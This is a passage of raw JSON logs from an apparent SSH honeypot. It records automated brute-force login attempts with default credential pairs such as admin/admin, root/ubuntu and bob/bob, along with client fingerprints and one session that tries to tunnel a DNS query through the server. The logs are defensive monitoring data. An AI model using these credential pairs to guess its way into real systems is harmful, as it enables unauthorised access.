a2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:10.741899Z","src_ip":"91.92.42.227","session":"5c4dd0ff5701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"23cd1fc3376c","protocol":"ssh","message":"New connection: 87.251.64.176:50992 (10.17.0.5:22) [session: 23cd1fc3376c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.368938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.373436Z","src_ip":"87.251.64.176","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.470189Z","src_ip":"87.251.64.176","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.757710Z","src_ip":"87.251.64.176","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.857933Z","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:12.952418Z","src_ip":"87.251.64.176","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:13.049794Z","src_ip":"87.251.64.176","session":"23cd1fc3376c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:13.184358Z","src_ip":"91.92.42.227","session":"5c4dd0ff5701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:14.851028Z","src_ip":"91.92.42.227","session":"5c4dd0ff5701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49436,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bfe09045e83","protocol":"ssh","message":"New connection: 91.92.42.227:49436 (10.17.0.5:22) [session: 2bfe09045e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:17.106364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:17.779304Z","src_ip":"91.92.42.227","session":"2bfe09045e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:17.782426Z","src_ip":"91.92.42.227","session":"2bfe09045e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.792735815048218,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:19.238129Z","src_ip":"107.6.151.170","session":"6828fe5a9afc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:21.107897Z","src_ip":"91.92.42.227","session":"2bfe09045e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:23.253868Z","src_ip":"91.92.42.227","session":"2bfe09045e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49518,"dst_ip":"10.17.0.5","dst_port":22,"session":"23459160358c","protocol":"ssh","message":"New connection: 91.92.42.227:49518 (10.17.0.5:22) [session: 23459160358c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:23.804578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:24.654893Z","src_ip":"91.92.42.227","session":"23459160358c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:24.658157Z","src_ip":"91.92.42.227","session":"23459160358c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:28.954160Z","src_ip":"91.92.42.227","session":"23459160358c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40780,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fa58448ca3","protocol":"ssh","message":"New connection: 91.92.42.227:40780 (10.17.0.5:22) [session: 71fa58448ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:30.429022Z"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:30.970031Z","src_ip":"91.92.42.227","session":"23459160358c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:31.327816Z","src_ip":"91.92.42.227","session":"71fa58448ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:31.331142Z","src_ip":"91.92.42.227","session":"71fa58448ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49779,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9245367bc88","protocol":"ssh","message":"New connection: 103.248.120.6:49779 (10.17.0.5:22) [session: f9245367bc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:35.304841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:35.309398Z","src_ip":"103.248.120.6","session":"f9245367bc88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:35.531530Z","src_ip":"103.248.120.6","session":"f9245367bc88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:36.305566Z","src_ip":"91.92.42.227","session":"71fa58448ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:36.452984Z","src_ip":"103.248.120.6","session":"f9245367bc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:37.677236Z","src_ip":"103.248.120.6","session":"f9245367bc88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:38.089422Z","src_ip":"91.92.42.227","session":"71fa58448ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38862,"dst_ip":"10.17.0.5","dst_port":22,"session":"88fe6ee2d9e8","protocol":"ssh","message":"New connection: 91.92.42.227:38862 (10.17.0.5:22) [session: 88fe6ee2d9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:38.209418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:38.825289Z","src_ip":"91.92.42.227","session":"88fe6ee2d9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:38.828278Z","src_ip":"91.92.42.227","session":"88fe6ee2d9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:41.111092Z","src_ip":"91.92.42.227","session":"88fe6ee2d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:42.842387Z","src_ip":"91.92.42.227","session":"88fe6ee2d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"f08f1ca372b5","protocol":"ssh","message":"New connection: 91.92.42.227:44224 (10.17.0.5:22) [session: f08f1ca372b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:46.494741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:46.512731Z","src_ip":"91.92.42.227","session":"f08f1ca372b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:46.603548Z","src_ip":"91.92.42.227","session":"f08f1ca372b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:46.949838Z","src_ip":"91.92.42.227","session":"f08f1ca372b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:48.269209Z","src_ip":"91.92.42.227","session":"f08f1ca372b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44278,"dst_ip":"10.17.0.5","dst_port":22,"session":"3887d0f4ab49","protocol":"ssh","message":"New connection: 91.92.42.227:44278 (10.17.0.5:22) [session: 3887d0f4ab49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:53.444860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:53.718947Z","src_ip":"91.92.42.227","session":"3887d0f4ab49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 